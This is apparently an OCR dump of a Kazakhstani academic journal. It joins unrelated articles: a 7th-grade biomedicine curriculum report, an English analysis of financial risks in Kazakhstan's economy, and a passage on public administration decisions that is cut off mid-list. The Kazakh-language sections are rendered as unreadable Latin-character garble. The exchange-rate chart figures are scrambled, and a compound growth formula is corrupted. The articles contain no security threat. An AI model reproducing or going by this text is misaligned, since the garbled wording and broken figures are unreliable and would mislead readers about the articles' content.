ON1ap4blH NPaKTUKa4a Ky3ere acybl MeH OKYLLbIIap *eTICTIKTepiHe acepi KeHiHeH TanaaHaabl.

TyriHAi cesnep: bnomeamnumHa, AeHCayNbIK, 7-CblHbIM, aBTOPAbIK Dafaapnama, binim bepy,
aaicteme, Taxipube.

Kipicne

Kasipri TaHga OKylWbliapaplH, OUOMeAMLMHANbIK CayaTTbiAblFbiH  @apTTbiPpy — FbibIM  MeH
TEXHONOMMAHbIH, AAaMybIMeH Tbifbl3 6alNaHbICTbl MaHbI3abl Macene. EpTe »acTaH bactan agam
af3aCblHbIH, KYPbI/bIChI, aypyablH affblH any, AypbiC TaMaKTaHy MeH eMip CanTbiH YCTaHy Typabi
6inim bepy — AeHi cay ypnak Tepbueneyain, Herisi 6obin Tabblnagsl. Ocbl opaiiaa, «brnomeamumHa
KoHEe aflaM AeHCay/bifbl» aTTbl aBTOP/IbIK OafdapiamMa MeKTen OKylbliapbliHa AeHCay/1bIKTbl
CaKTay/blH, FbIIbIMM HEri3aepiH MeHrepTyre barbITTanfFaH.

MakanaHblH MaKcaTbl — 7-CblHbINK@ apHanfaH aBTOPAbIK 6ardapnamaHbl 6inim bepy yaepiciHe
EHTi3y HaTUXeNepiH TanJay skaHe TMiMAiniriH 6afanay. MiHoeTTepi:

< 0Oafaapnama KypblibIMbIH cMnaTTay;

<% KOANJaHbIAFaH Neaarornkanbik Tacinaepai Tangay;

% ToXipmbe HaTMKEeNepiH KePCeTY KaHe YCbIHbICTAp YCbIHY.

3epTTeyre cyreHe oTbipbin, oTaHAabIK (Hypnencosa T.6., Kangaw M.H. 2021) skaHe weTengik (CDC,
WHO 6inim bepy pecypcTapbl) agebueTtepre wonay sKacangbl. ocipece, STEM bafbiTbiHAAFbI
KipiKTipinreH 6inim 6epy »)yMeci MeH JeHcay/blK CakTay cafacbiHAafbl X00anblk OKbITY aicTepi
3epTTey *KYMbICbIHA Heri3z 6onapl [1].

o4icteme

ABTOpP/bIK BaFaapiama 7-CbiHbIN OKyLWbINAPbIHA apHaAFaH KaHe Keneci MoaynbaepaeH Typaabl:
1. Anam af3acblHbiH }Kyhenepi (TbIHbIC any, ac KOPbITY, KYPEK-KaHTaMblp Kyieci);
2. [WrneHa »kaHe AypbIC TAMaAKTaHy;
3. WyKnanbl aypynap meH anfblH any wapanapsbl;
4. SmouMoHanabl AEHCaAY/bIK XaHe KyM3enic;
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5. BuomeamumHazarbl 3aMaHaymn TexHoaormManap.

KonpaHbinfaH agicrep:

> Mobanblk oKbITy: OKywblnap «[eHi cay mekten» obacblH a3ipsen, ©3 YyCbiHbICTapPbIH
MeKTen aKiMLWINITiHe yCbIHAbI.

> HKelic-ctagy aaici: HakTbl meaMumMHanbiK Kafgannapabl MoAenbAey apKblabl Tangay
Kyprisinai.

>  WHTepakTuBTI nekumanap: MynbTumeamAnblK NpeseHTaumanap MeH BMAEO0Nap apKbibl
OKYLWbINAPAbIH KbI3bIFYLWbINbIFbl aPTTbI.

> [MMaHapanblk 6aknaHbic: buonorns, mHbopmaTMKa, OU3MKA NaHAEPIMEH WHTErpauma
»acanabl. Mbicanbl, afam af3acblH BM3yanusaumanay yuwiH Scratch xeHe Tinkercad
KONAQHbINAbI.

> CblHM oinay Tancbipmanapbl: MeauumHanblk MudTepai Tangay, KanfaH aknapatTbl
aHbIKTay TancbipMmanapbl YCbIHbIAAbI.

barnapnamazia ap MOAyNbAiH COHbIHAA KaNbiNTacTbipywbl 6aFanay Tancbipmanapbl *KaHe e3iHAjiK
3epTTey kobanapbl KapacTbipbiafaH. Meparor peni — OafbiTTayllbl aHe KeHecli peTiHae
ybIMaacTbipbinasl [2].

MpaKkTuKaga KongaHy
bargapnama 2024-2025 OKy Kbl/bIHbIH, BipiHWI XapTbiKblAAbIFbIHAA AcTaHa KanacbiHbiH, No71

MeKTen-anueninge anpobauuagaH eTTi. 7 «A» cbiHbIObl TaHdanabl (bapabiFbl — 26 OKylbl).
AnTacbliHa 1 cafaT GaKy/bTaTMB PeTiHAE Kyprisingi.

Cabak, KypblabIMbl:
Cabak KeseH; Ma3myHb|
Kipicne BenHepoanKk Hemece O TyAblpaTblH CypaKkTap apKblbl
KbI3bIFYLUbINBIKTbI OATY
Teopuanbik 6enim VIHTepaKTMBTI dopmaTTa TEOPUANBIK MaTepuanapl
TYCiHAIPY (Npe3eHTaumsa, cnama, cypak-kayan)
[MpaKTUKablK Tancbipma Tinkercad kemerimeH 3D mogens Kacay, BUpTyanapl
3epTxaHa apKblabl HaKplnay, TONTbIK 3epTTey
Tancbipmanapsbl
KOpbITbIHAbBI *KaHE Kepi CabaKTbl KOPbITbIHAbINAY, OKYLUbIAAPAAH Kepi
HannaHbIC 6alinanbic any (aybiswa/»asbatua)

Hatunxenepi:

< 85% OKyLblAa Kbi3bIfYLLbINbIK }KOFapblnafaHbl 6aliKkanabl;
% 90% OKyLbl ©3iHAIK *0baHbl CaTTI KOPFaabl;
% 60% OKyLWbIHbIH OMON0MMA NBHIHEH YArepiMi Xakcapab!.

dnarpammaga afiCTeMeHIH TUIMAINITT OKyLWbIAAPAbIH NiKipi apKbl/ibl KEPCETINTEH:
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OkyLwblnap nikipi 6orbiHLWa a4iCTEMEHIH, TUIMAINIri

TemeH TUiMainik

OpTala TUiMAainik

XKoFapbl TUIMAINIK

ApPTbIKLWbINbIKTAPbI:
v KbI3bIKTbl 9pi eMipMeH 6anNaHbICTbl TaKblpbINTap;
v [paKTuKanblk OafbITTafbl Tancbipmanap;
v Undpnblk pecypcTapMeH Xymbic.

KeMwinikTepi:
v YaKbIT Tanwbi/bifbl (KEN MOAYbAEPre YaKbIT KeTnen Kanabl);
v Kenbip Kypaeni TepmuHaepai TyciHAipyae KMblHAbIKTap 6onabl.

¥CbIHbICTap
1. Myfanimaepre angblH ana OKbITy CEMUHAPAAPbIH YMbIMAACTLIPY;
2. bafaapnama masmyHbIH 9p alMaKTbIH epekLueniriHe can benimaey;
3. Uundpnbik Kypanaapabl naaanaHy 6oMblHWa a4icTeMeNiK HYCKayAbIKTap a3ipaey;
4. bafanay *KyMeciH ap moaynb 6oMbIHWA HaKTblAay (}KobanblK *KyMbIC, TECT, NiKipTanac);
5. OkyLlbl aTa-aHaNapblH OKbITY NpougeciHe TapTy [3].

KopbITbIHAbI

«bromeaMLUMHA KaHe aflaM AeHcayblfbl» Oafaap/iiamachkl OKYLLUbINAPAbIH, AeHCAYbIK Typasbl
BiniMiH apTTbipyfa, fbiAbIMW-3epTTEY AafablAapbiH AaMbITyFa KaHe canayaTTbl ©Mip CanTblH
KanbINTacTbipyFa cenTiriH Turizai. OKyLWblNapablH 6enceHainiri, NpakTUKanblK Kbi3bIFYLblAbIFbl MEH
3epTTeyuwinik Kabinettepi apta TycTi. byn aaicteme Kannbl 6inim 6epy NPOLLECIH KaHFbIPTYFa KaHE
[EeHCcayblK CaKTay MaAEHMNETIH epTe XacTaH KabiNTacTblpyfa MyMKIHAIK bepeai. Anaarbl yakbiTTa
Oyn baraapnamaHbl KEHiHEH eHri3y sKaHe BacKa CbiHbIN AeHrennepiHe 6enimaey yebiHblnaabl.

CoHbIiMeH KaTap, byn baraapiama oKylbllapbl TEK TEOPUANLIK BiniMMEH LWeKTemMeNn, onapabliH,
OMIPNIK MaHbI3abl Wewimaep KabblngayblHa, aknapaTtTbl CbiHM TypfblAaH Tangayfa KoaHe e3
AeHcayblFblHA CaHanbl Ke3Kapac KafbliNTacTbipyblHa MyMKiHAIK 6epai. CabakTap GapbicbiHAA
OKyLLIblNap Tek Binim anywsl emec, benceHai 3epTreywi peniH atkapabl, 6y onapabiH TaHbIMAbIK
OenceHAiniriH apTTbiPbIN, OKY NPOLECIHE AereH ilKi MOTUBALMACBLIH KYLLIENTTI.
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AHHOTaUWA. B aHHOM CTaTbe ONUCbIBAETCA BHEAPEHWE aBTOPCKOW Nporpammbl «bruomeamnimHa n
300pOBbE YenoBeKka» B 06pa3oBaTe/ibHbIM NPOLLECC yYalmMxca 7-Knacca, a TakKe ee pesybTaThbl.
Mporpamma HanpasieHa Ha dopmupoBaHWe OBUONOTMYECKON FPaMOTHOCTM, OTBETCTBEHHOrO
OTHOLLIEHWA K 34,0POBbI0 M CMOCOOHOCTU KPUTUYECKM BOCNPUHUMATL MEAMLIMHCKYO MHbOPMALMIO.
B cTaTbe NOAPOOHO pacCMaTPMUBAOTCA MCMOb30BaHHbIE METOAMKM, UX MPAKTUYECKan peannsaumsa
W BAMSIHME Ha JOCTUNKEHMA yYaLLMXCA.

KntoueBble cnoBa: HuomeamumHa, 340P0OBbE, 7-KNAcc, aBTOPCKas nporpamma, obpasosaHue,
MEeTO/MKa, NPaKTMKa.
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Abstract. This article describes the implementation and outcomes of the author’s program
«Biomedicine and Human Health» in the educational process of 7th-grade students. The program
aims to develop students' biological literacy, responsible attitudes toward health, and the ability
to critically assess medical information. The article provides a detailed analysis of the
methodologies used, their practical application, and their impact on student achievement.

Keywords: biomedicine, health, 7th grade, author’s program, education, methodology, practice.
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Abstract: The article analyzes key financial risks specific to the Kazakhstan market and assesses
theirimpact on businesses and the country's economy. It examines the types of financial risks faced
by companies in Kazakhstan and their key categories, each of which influences business stability
and requires a specialized management approach. The study explores changes in the global
economy, fluctuations in oil and commodity prices, the investment climate, and inflation, which
remains one of the main factors exerting pressure on the economy by reducing purchasing power
and increasing business costs. Additionally, it discusses changes in tax legislation, new reforms,
internal and external factors, global market fluctuations, and the importance of a comprehensive
approach and strategic planning in financial risk management.

Keywords: risk, economy, business, cash flow, volatility, hedging, foreign exchange market,
inflation, exchange rate, export, import, investments, taxes, policy, finance, analysis, price.

Financial risk refers to the risk associated with the probability of losing financial resources
and cash. In the modern economy of Kazakhstan, financial risk assessment has become particularly
significant. Market development is accompanied by a range of uncertainties caused by both
external and internal factors. High volatility of the national currency, dependence on raw material
exports, and specific regulations in the banking sector create additional risks for businesses and
investors.

Financial risks in the Kazakhstan market represent a complex set of challenges faced by
companies and investors. One of the most significant is currency risk—the tenge exchange rate is
highly volatile, making international transactions and import purchases unstable. Credit risks are
equally important: Kazakhstan’s banking system has inherent issues, such as a high level of non-
performing loans and businesses' heavy reliance on borrowed funds.

The depreciation of the national currency leads to higher costs for imported goods and
increased expenses for businesses working with foreign suppliers. Sharp fluctuations in the tenge
exchange rate within a 10-15% range pose a serious challenge for enterprises, especially in the
trade and manufacturing sectors. Companies without an effective currency hedging strategy face
rising production costs and declining profitability.
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Analyzing the data from the National Bank of Kazakhstan as of March 2025, the following
key USD/KZT exchange rate indicators can be highlighted:

 Average exchange rate: 449.62

» Standard deviation: 27.78

* Exchange rate on 01.03.2020: 381.1
e Exchange rate on 01.03.2025: 499.2

Exchange rate dynamics USD/KZT

EEl Beginning of the year
500+ End of the year

523.54

462.65  454.56 46265  454.56

420.71 420.91 431.67 431.8
I 381.1
300
200
100

2020 2021 2022 2023 2024
Year

B
o
o

Exchange rate USD/KZT

o

Figure 1: The dynamics of the USD to KZT exchange rate from 2020 to 2024.
Note: Analytical data was taken from the National Bank of Kazakhstan.

One of the most striking examples of the sharp depreciation of the tenge was the crisis of
March 2020, when the national currency plummeted amid the collapse of global markets caused
by the onset of the COVID-19 pandemic. According to analytical data from Investing.com, oil prices
fell to $26.35 per barrel during that period, putting significant pressure on the tenge. According to
a report by QazTrade, in 2020, Kazakhstan's main export commodity was crude oil, with export
volumes reaching $23.7 billion (49.9% of the country’s total exports).

The decline in oil prices led to a reduction in foreign currency inflows, which, in turn,
caused the depreciation of the tenge. In response, the National Bank of Kazakhstan conducted
foreign exchange interventions and raised the base rate to curb further devaluation. Thus, the
March currency crash was driven by a combination of external and internal factors, including falling
oil prices, the global economic crisis, and a decline in exports.

Over five years, the tenge-to-dollar exchange rate has increased by approximately 31%.

e Compound Annual Growth Rate (CAGR):
(499.22/381.1)">= 5.53% per year.
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Figure 2: USD/KZT Returns by Year
Note: Analytical data was taken from the National Bank of Kazakhstan

Between mid-February and mid-March 2022, the tenge also experienced significant
depreciation, driven by sharp changes amid global geopolitical and economic events.

While nearly half of Kazakhstan's exports depend on oil, the country’s main import trade
partner remains Russia, accounting for 34.7% of total imports in 2022. Many Kazakhstan
companies conduct transactions with Russian partners in rubles, which strengthens the ruble's
influence on the tenge. As a result, substantial currency flows between the two countries lead to
situations where a weakening ruble often triggers the devaluation of the tenge, especially during
periods of crisis.

Kazakhstan's economy is largely dependent on the export of raw materials such as ail,
natural gas, metals, and uranium. According to Investing.com, the price of Brent crude oil fell to
S§70-75 per barrel in mid-2024, which is 15-20% lower than the peak levels at the beginning of
the year.

The main factors behind this decline were the drop in global oil demand due to slowing
economic growth in major oil-importing countries such as China, the EU, and the US, as well as an
increase in oil production by OPEC+ countries, leading to a rise in market supply.

Since oil exports accounted for more than 50% of Kazakhstan’s total exports, the decline in
oil prices resulted in reduced foreign currency inflows into the country. This currency shortage
increased pressure on the tenge, contributing to its depreciation.

Throughout 2024, Kazakhstan also faced high inflation, which became another factor in the
weakening of the tenge. According to the Bureau of National Statistics of Kazakhstan, inflation in
the country exceeded 10% year-on-year by mid-year.

High inflation negatively affected the investment climate by reducing the real returns on
deposits and bonds, forcing investors to seek alternative assets, including foreign currencies. As a
result, demand for the US dollar and euro increased, leading to further depreciation of the tenge.
A particularly concerning factor is that inflationary pressures in Kazakhstan are largely driven by
external factors, such as rising global oil prices, supply chain disruptions, and shifts in trade flows
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with key partners. This makes inflation control more challenging, as not all tools of the National
Bank prove effective in an economy highly dependent on imports.

Instability in global markets, rising commodity prices, and external macroeconomic factors
pose additional risks to the economy. These combined risks call for a comprehensive management
approach, strengthened inflation control, and support for the banking sector to ensure the
country's financial stability.

The main events affecting global currency markets included the policy of the US Federal
Reserve (Fed), which maintained a tight monetary policy by keeping interest rates high. This led to
the strengthening of the US dollar, putting pressure on the currencies of emerging markets,
including the tenge.

The economic downturn in China, a key trading partner of Kazakhstan, and the slowdown
in its economic growth in 2024 negatively impacted demand for Kazakhstan’s raw materials. This
also resulted in lower export revenues and a weakening of the tenge.

Analyzing currency and market risks over the past five years, the tenge has shown a
weakening trend, driven by the economy’s high dependence on commodities, global market
volatility, and inflationary pressures. While the average annual decline is not critical, sharp
exchange rate fluctuations of 10-20% create significant risks for businesses, increasing costs and
reducing profitability.

Companies without effective currency hedging strategies face rising production costs and
deteriorating financial stability. In times of instability, it is crucial to implement currency risk
insurance mechanisms and consider macroeconomic factors when planning financial operations.

Additionally the Kazakh banking sector continues to face challenges related to a high level
of non-performing loans. Despite measures taken by the National Bank, the share of bad debts
remains significant. Companies, especially small and medium-sized businesses, often struggle to
secure affordable financing, which limits their growth and investment opportunities.

As of January 1, 2025, the loan portfolio of 21 second-tier banks in the country amounted
to 34,997.8 billion tenge (59% of total assets). Of this, the volume of non-performing loans (NPL)
was 1,125.7 billion tenge, or 3.2% of the total loan portfolio.

In terms of individual banks, the largest volumes of non-performing loans are recorded at:

e JSC "Nurbank" —9.9%
e JSC"VTB Bank" —9.6%

The high share of non-performing loans indicates that banks continue to struggle with
credit risk management, and the issue of bad debts remains relevant.

In 2025, Kazakhstan is on the verge of major tax reforms that could significantly change the
business landscape. Another pressing issue is the budget deficit. Government expenditures
continue to rise, but tax revenues are failing to keep up. According to AFC analysts, in the first nine
months of 2024, only 52% of the planned tax revenues were collected into the republican budget.
The shortfall is covered through borrowings and direct withdrawals from the National Fund.

Under these conditions, increasing VAT from 12% to 20% may become a necessary measure
to replenish the budget.

Beyond tax reform, businesses face additional changes, including strict capital movement controls
and new financial reporting requirements.

For businesses, this means the need to consider potential adjustments in strategic planning, asset
diversification, currency hedging, and effective liquidity and capital structure management to
maintain financial stability.

In today’s environment, company success depends not only on well-crafted strategies but also on
the speed of their implementation. While the Kazakhstan market remains promising, it requires a
measured approach and continuous risk monitoring. The ability to adapt to changes will be a key
factor for resilience and growth in the coming years.
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MEM/TEKETTIK BACKAPY/bIH
AKMAPATTbIK KAMTAMACbI3 ETINTYI

BoncbiHbekoBa NynbHapa AbblnxakoBHa
PhD pnokTop,afa okbITywsl, Alikhan Bokeikhan University, KasakctaH, Cemei

AHHOTaumA. backapy ici 6ackapy wewimaepiH Kabblngan, onapAdbl icKe acblpyfa
HarbITTanFaH UHTEANEKTYANAbIK Ma3MYyHbIMEH epeKLIENEHIN, KOFaMablK YPAICTEPAIH, afbiMbl MEH
¥afaanbl, agamHblH caHa-ce3imi, TopTiOi MeH KbI3MEeTiH e3repTeTiH BacKapyLWbiablK Wellimaepai
nanbiHOan, Kabblngan OHbl  Ky3ere acblpyra OarbiTTansabl. O 91eyMeTTiK, Kopaapas,
Kypanaapabl, pesepsTepi aHbIKTan, OHbl XKeTiN4ipy MeH »KaHa AeHrenre KewipydiH, oHTanbl
aaictepiH Tabaabl. OHbIH, 6acTbl MafbiHacbl HacKapblNaTbiH YPAICTIH, *aHa canacbkiH alwly, backapy
ici akmapaTTblKk MaHre me, eH andbiMeH Backapy aknapaTTapbliH KanbiNTacTbipy, ON eneriHeH
OTKi3y, MaceneHi Tanaay, 6ip xyhere kentipy ypaictepi opsiHaay 6obin Tabblnaabl.

TyMiHAi ce3nep: MemnekeTTik Ounik, keprinikTi 6ackapy, Hackapy ici, memnekeTTiK
wewimaep

Cancu MHCTUTYTTAp MEeH aKIMWINiK Backapy opraHAapbiHbIH, KbI3METI TUICTI MeMIEKETTIK
CaACKM XKaHe SKiMLINIK Wwewimaepai Kabblngay mMeH icke acblpyda KepiHic Tabaabl. LWewimaepai
Tangay — MeMEeKeTTiK 0ackapy TeopuACbIHbIH axblpamac acnekTici 6onbin Tabblnapl.
WewimaepaiH, TypnaTbl, ofapabl a3ipaey Tacingepi bonbiHWa, ap TyPAi CyObeKTiNepdiH KaTbicy
LeHremnepiHe Kapal KOFaMZbIK-CAafaCKU KYMEeHiH HaKTbl CMNaTTapbl Typanbl alTyfa Honaapl.
Backapylwbinblk Welwimaep 6apablK AeHrermnepae — YATTbIK, alMaKTblK, MyHULMNANAbIK,
AeHrennepae KabblngaHaabl, CIMKeciHWe TWICTI MEMJIEKETTIK KaHe KeprinikTi Hackapy
opraHaapbl wetim Kabblnaay cybbektinepi 6onbin Tabbinaabl. Lewimaepae KapacTbipblaAaTbiH
Mmacesienep HackapbliaTbiH  OOBEKTINepAiH, KaxeTTiikTepi MeH myadenepiHe  calikec
aHblkTanagpl. Ocbl wWewimaepaiH TypnaTel MeH AelreinepiHaeri  ablpmallbl/ibIKTapFa
KapamacTaH, Kabblnaay aHe icKe acblpy ypaicTepiH CMNaTTalTbiH 0NapFa Kebip opTak benrinep
ToH. COHAbIKTaH TeopuAanblK Tanaay Oackapy cyObeKTiNepiHiH KblI3MeT eTy »KafaannapbiHblH,
annbl 6enrinepimeH Katap epekLlenikTepiH Ae KapacTbipaab!.

COHbIMEH, MEMAEKETTIK DUIK KaHe »eprifikTi backapy opraH4apbl MEMIEKETTIK 6ackapy
MaKcaTTapbl MeH GYHKUMANAPbIH KaCibM AaAp/bIKTbl KaHe KaXeTTi amanaapapl, Tacinaepai,
HblCaHAapAbl, a4icTepai KONAaHyAbl Tanan eTeTiH agamaap eHberiHiH epekile Typi - 6ackapy ici
apKbI/Ibl Ky3ere acblpadbl.

backapy ici — KongaHbanbl cunatTafbl Kybbiibic, cebebi on Hackapy MaKkcaTbl MeH
dYHKUMANAPLIH Ky3ere acblipyfa, 6HaCKapyLLbIIbIK WEeLiMAEP MEH SPEKeTTepAi AalblHAAM, HAKTbI
emipae KongaHyra OarbiTTanfaH. backapy ici backapy wewimaepiH Kabblngan, icke acblipyfa
HarbITTanFaH MHTENNEKTYaNAbIK Ma3MyHbIMEH epeKLleneHei, OUTKeHI 0N KOFaMabIK ypaicTepaiH,
afbIMbIH 3He afdaMlblH, agamaapfblH caHa-ce3iMiH, TopTibi MeH KbI3MEeTiH e3repTeTiH
HbackapylWbiablk Wewimaepai AdarblHaayFa, Kabblngayfa »KoHe iC »Ky3iHAe Ky3ere acblpyfa
barbiTTanraH. On 2/71eyMeTTiK HaKTbIbIKTbl, OHAAfbl KOP/AapAbl, Kypanaapibl, pe3epBTepai
aHbIKTaMabl, OHbl XETINZIpY MEH XaHa AeHrenre KewipyaiH oHTalAbl aaicTepiH Tabaabl. OHbIH
H6acTbl MOH MafblHacbl 6acKapblaaTblH YPAICTIH *KaHa canacbiH ally, O/ LblFapMaLlblablK KyLl-
KyaTTbl KaxkeT eTedi. backapy ici aknapaTTblK MaHre 1e, AFHK eH anabimeH backapy aknapaTTapbiH
Ka/bINTacTblpy, O eneriHeH eTKi3y, MaceneHi Tanaay, bip *Kynere kenTipy ypaictepi opbiHAanaab!.
MemnekeTTik Oackapyaa Tek KaHaal aa bip »Kannbl KOFamablK YPAICTI CMMNATTaMTbiH, OHbIH,
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Kafdaibl MeH AMHAMMKACbIH, KO3fayllbl KYLWITEPIH alKbIHAAMWTbIH aknapaTTap faHa Xapampbl
6osbin Tabblnaabi[1].

backapy ici coHaan-ak cybbekTiHiH epKik MeH KanayblH BingipeTiH Kypaeni aneymeTTik
NCUXONOTUANBIK KyObliblic 60bIN Tabblnaasl. OHbIMEH alHanbicaTbiH 9pbip agam Tangay, baranay,
TaHgay, Wwelim kabbinaay, 6afbiHy }KaHe opbiHAay, OyMpbIK 6epy meH BaKblnay amanaapbiH onay
KabineTi, epik Kanaybl apKblabl aTkapaabl. bByn memnekeTTik OuNik opraHAapbiHbIH, YKbIMAAPbIHAA
epeKlle 9/1eYMETTIK-NMCUXONOMMANBIK Kafaanabl, MiHE3-KY/blK NeH KbI3MeTTiH, 6enrini 6ip TypiH
Ka/ibiNTacTblpadpbl. EPIKTI yHeMi WbeIHAAY, KayanKepLwinik, TopTINTiNiK, MEMNEKEeTTIK KbI3MeTTi
aTkapyfa 6arblHbIWTbINbIK- MEMIEKETTIK OpraHaapaa 6ackapyLwbiiblK KbI3METNEeH aliHaabiCaTbiH
agampapfa ToH KacueTtep 6osbin Tabblnagdpl,erep ocbl KacueTrtep Oosmaca, oHAa »ysere
acblpaTbiH BackapyLWbIbIK biIKNan4ap agamaap apacbiHaa beaenre ne 6onmanabi[2].

backapy ici spKrallaHaa YKbIMAbIK Typae KepiHic Tabaabl, cebebi on KaHgan aa bip
MEM/IEKETTIK OpraH Y»KbIMblHAA Ky3€ere acbipbliabl KaHe bip mesringe H6acka MemaekeTTik
opraHzapAasbl afamaap VKbIMbIMEH ©3apa apeKkeTrecydi Ke3aenai. OHOa MemneKkeTTiK opraH
Ky3ipeTiH KoHe annbl MemneKkeTTiK Hackapy QyHKUMSNAPbIH KeleHAi TypAe »Ky3ere acbipy
MaKcaTblHA@ KoonepauuaHbl Tanan eTeTiH, 6enrini 6ip »KYMbICTbIH MasmyHbl MeH Typaepi
H6oMblHWa MamaHaaHablpy 6ap. Anaiga Kenae yYKbIMAbIK cunaT HacKapyllbliapMeH Aypbic
H6afanaHbanabl, MyHAal Kafaanaa HGackapyLblablK KblI3MeT ©3iHiH NOTEeHUMaNblH KOFanTadbl,
Backapy TMiMainiri TemeHaen ;.

©3iHiH, KepiHyi KafblHaH Backapy ici caH Kbipabl Kybbiabic. OfaH agamaap 4a, 6inim ae,
aKnapaT Ta, TeXHWKaNblK Kypangap [Aa »Katadpl, onap Oapabifbl Hipirin Kypaeni KeweHai
KyObInbICTbl Kypanabl. Ken aknapatrap 6ona Typca Aa, 0N OiNiMHIH Hemece TexHWKabIK,
KypanaapAblH *KOKTbIfbIHAH eHAeAMeyi MyMKiH. Con cMAKTbI eaayip BacKapyLWbIabiK yKbiM Hona
Typa, ©3iHiH, Kacibu AeHreniHiH TOMeHAir cangapbiHaH MeMJIEKETTIK OpraH eKiNeTTiriH »Kysere
acblpydbl KaMTamacbI3 eTe aamaybl MyMKiH[2]. CoHabIKkTaH Backapy iCiHiH 6ap/blK 3N1eMeHTTepiH
YKaH-*KaKTbl OMNACTbIPbIN, TeNe-TeH, TYPAE SPEKETKE KeNTipy FaHa OfaH TUIMAINIK NeH yTbIMAbI/bIK,
6epe anagpl. Con cebenTi KeleHainik 6ackapy iCiHiH, MaHbI3abl, *aanbl bearinepiHe »Kataabl.

CoHbiMeH KaTap backapy ici 6enrinepi MmeH yaxaepiHe, afgamaapdblH, Kacibun Aasp/iblifbl
MeH benceHAiniriHe KapamacTaH, 071 MeM/eKeTTiK backapyda 3aHAblK, CUMaTKa, KepiHicke ue
6onaapl. OHbI TUICTI MEMAEKETTIK OpraHaap MeH nayasbiMabl Ty/iFanap apbip HakTbl MEMIEKETTIK
opraH Ky3blpeTiHe CalMKec, OHAafbl apbip MEMAEKETTIK fayasbiMHbIH, KbI3MET TypiHEe canKec
aTkapyfa Tvic. CoHaplkTaH Aa 6ackapy iCiHiH, KenTereH afemMeHTTepi 3aHbl TYPAe MeMNEKEeTTIK
opraHzapza TipKenin, onapdblH KYKbIKTbIK MapTebeciHAae npoueccyanablk, Hopmanap TypiHae
6ekiTineni. bynaH 6ackapy iciHiH 6ackapy YpAiciHiH 21eMeHTTePIMEH YKCaCTbIfbl TybiHAANAb! [1].

Bapabik 6ackapy AeHrennepiHaeri backapywbiiblK WewWwimaepait, iWiHge MeMIeKeTTIK
Wwewimaepai KapacTbipcak, MEMIEKETTIK wWelim — Byn Kofamapblk MaKkcaTTapfFa KOJ XeTKisyre
HarbITTanFaH MeEMNEKETTIK OpraHaap SpeKeTiHiH HaKTbl *KobanapbiH TaHAAy MeH Heri3aey.

Casacu »KaHe aKiMWiNik wewimaepai 6ipiHeH-bipiH a)kblpaTta 6inreH aypbic. Cascu
Wwewimaep cafcu HaclblIbIKTbIH, LOFbIPAAHAbLIPbIAFAH KepiHiciH bingipeai. Onap aneymeTTik
TONTapAblH HEMECE HaKTbl KOFaMAACTbIKTbIH OpPTaK MyAdenepi MEH MaKCaTTapblH Ky3ere acblpyFfa
barbiTTanfaH[2]. CaAcu wewimaep anMMaKkTbiK JAeHrenge Hemece Oenrini 6ip  KeprinikTi
KOFaMZacTbIKTbiH, WeHOepiHAe KabblngaHca Aa CON MeMIeKeTTe TypaTblH  aJamaapablH,
MyZenepiHe, MeMmneKkeTTiK OUNIKTIH KbI3MeTiHe KaTbICTbl 601abl.

OKIMLWINIK Wewimaep agamaapablH, 6HAIPICTIK-LWapyallblblK, 9AEYMETTIK aHe M34eHuU
OMIpiH, }KeKe YMbIMAaPAblH, afbiMAafbl KbI3METIH PeTTeNTiH DacKapyLbl/blK 9peKeTTep aKTiepi.
OKIMWINIK Wewimaepai WbliFapy aTKkapywbl 6unik neH Hackapy opraHAapbiHbiH, GYHKUMUSACbIHA
aTaapl[3].

Cascu wewimaep sKiMWINIK Wellimaepre KapafaHaa HaKTbl KOFamMAblK TONTapfa Tikenen
HeMecC *KaHama TypAe OafbiTTanalbl, ONaPAblH, apacbiHAafbl KaTblHACTapAbl PeTTey Kypasbl,
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9/1eYMETTIK TOMTapAblH, Myadenepi MeH MakcaTTapblH Oingipy, »ysere acblpy Tacini 6onbin
Tabbinaabl. Onap caacu 6UAIK NeH cascu Backapy CyObeKkTinepiHiH KbI3METIHIH, HaTUXKeciHae
TybIHAAMAbl. MemneKkeTTik backapydafbl canacaTTbiH, 6acbiMAbIIbIK KafldacbiHa COMKeC casacu
Wwewimaep aKiMLiNiK-6ackapyLWbiNbIK LWewiMmaepre KapafaHaa apTbiKLLbIbIK CUNaTKa ne.

MemMneKeTTiK WeLim, eH anabiMeH WeLliMm KabblnaanTblH CyObekT — MEMAEKETTIK BUNIKTIH,
Hbackapyllbl OpraHbIMeH- anKkasabl HEMECE KeKe AMAEPMEH; WewWiMmai aTKapylbl cyObeKkT —
MEM/IEKETTIK KbI3MeT annapaTtbiMeH; wewim OafbiTTanfaH OOBbEKTIMeH (TemeH aeHrengeri
backapy opraHzapbl, KOfaMHblH 3P Typ/i KbI3MET cafianapbiHaa KYMbICMEH KamTblafaH
2/1eYMETTIK TONTap, CasnCU KaHe KoFramabliK bipnecTiktep) cunaTranaabi[2].

MemnekeTTik wewimaepaid, backa Aa cuMnaTTamanapbl bap: wewim degeni, AFHU WeLim
Kabblngaylbl MeMIEKeTTIK OuNiK CyObeKTIiCiHIH AeHreniH, OHblIH 3aHfa CaMKecTiniri meH
Heri3ainirit 6ingipeai;

lWeLWwiM KeHICTIiri, e3i apeKeT eTeTiH CaACU KEHICTIKTI »KaHe aTanfaH WewiMm KamMTUTbIH
MIiHOETTEP KBeNEMIH cMnaTTanapl; 9A4eTTe canacu WelliMmaep Ken makcaTTel 6obin Keneaj;

WwewiMmaepaid, aknapaTneH KamTamacbl3 eTiflyi, AFHU OHbl KabblnaayablH, fblbIMU KaHe
aKnapaTTblK Herisi — wewiMm KabblngayablH, TEXHOMOMUACLI MEH CTUAI - Wewimai a3ipaey meH
Kabblnaay a4ic- TaCinAepiHiH, Wwellim Kabbligayra KaXkeTTi aknapaTtTbl sK1MHAKTay MeH Kabblngay
9AiCTEPIHIH, *KMbIHTbIFbI; KobanapapiH 6anamanbl HycKanapblH Tangay TopTibi meH cunaTsbl,
onapablH, iwiHaeri 6acbim OaFbITTapblH aMKbiHAAY KaHe O/lapAbl iCKe acbipy YLWiH KaXeTTi
Kypanaapabl TaHaay amanaapbl, Tacinaepi;

Wwewim Kabblnaay Typaepi — AeMOKPaTHANbIK HeMece aBTOPUTAP/bIK;

wewiMmaepaid, Toxipnbenik maHbi3abiabiFbl [3].

MemnekeTTik Wwelimaep KentereH benrifep 6onbiHWa TonTacTbipblaaabl. COHbIH, iliHae
MeMIeKeTTIK BUAiK neH backapy *KymeciHaeri cydbeKkTiiep AeHreniHe Kapa:

annbl YATTbIK, aMMaKTbIK aHEe XKeprinikTi opraHaapabiH, wWellimaepi;

